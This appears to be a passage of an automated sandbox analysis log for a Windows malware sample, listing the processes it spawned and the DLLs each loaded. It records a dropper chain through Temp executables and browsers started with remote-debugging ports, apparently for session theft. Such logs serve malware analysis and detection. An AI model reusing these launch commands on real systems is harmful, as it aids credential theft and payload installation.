Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,7662599794859556948,6629486081676851329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7484 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="Default"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsCFBAKKJDBK.exe"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=1916 --field-trial-handle=2228,i,18326572126976972864,15207654653039505024,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2388 --field-trial-handle=2184,i,1909656663810025514,11843164480242829136,262144 /prefetch:3	Jump to behavior
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6928 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=entity_extraction_service.mojom.Extractor --lang=en-GB --service-sandbox-type=entity_extraction --onnx-enabled-for-ee --mojo-platform-channel-handle=7092 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe "C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.55\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=7592 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2204 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:3
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=edge_search_indexer.mojom.SearchIndexerInterfaceBroker --lang=en-GB --service-sandbox-type=search_indexer --message-loop-type-ui --mojo-platform-channel-handle=7172 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=price_comparison_service.mojom.DataProcessor --lang=en-GB --service-sandbox-type=entity_extraction --mojo-platform-channel-handle=7484 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: unknown unknown
Source: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Process created: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-GB --service-sandbox-type=asset_store_service --mojo-platform-channel-handle=6936 --field-trial-handle=2076,i,8992368874469410741,4708435404843590611,262144 /prefetch:8
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsCFBAKKJDBK.exe "C:\Users\user\DocumentsCFBAKKJDBK.exe"
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe "C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe "C:\Users\user\AppData\Local\Temp\1006015001\e88687d065.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe "C:\Users\user\AppData\Local\Temp\1006017001\425e60de02.exe"
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=0f2c5625b4.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2056 --field-trial-handle=2008,i,7662599794859556948,6629486081676851329,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: apphelp.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: winmm.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wininet.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: sspicli.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: mstask.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wldp.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: mpr.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: dui70.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: duser.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: chartv.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: oleacc.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: atlthunk.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: textinputframework.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: coreuicomponents.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: ntmarta.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: coremessaging.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wintypes.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: wtsapi32.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: winsta.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: textshaping.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: propsys.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: explorerframe.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: windows.fileexplorer.common.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: iertutil.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: profapi.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: edputil.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: urlmon.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: srvcli.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: netutils.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: appresolver.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: slc.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: userenv.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: sppc.dll
Source: C:\Users\user\DocumentsCFBAKKJDBK.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1006014001\0f2c5625b4.exe	Section loaded: profapi.dll
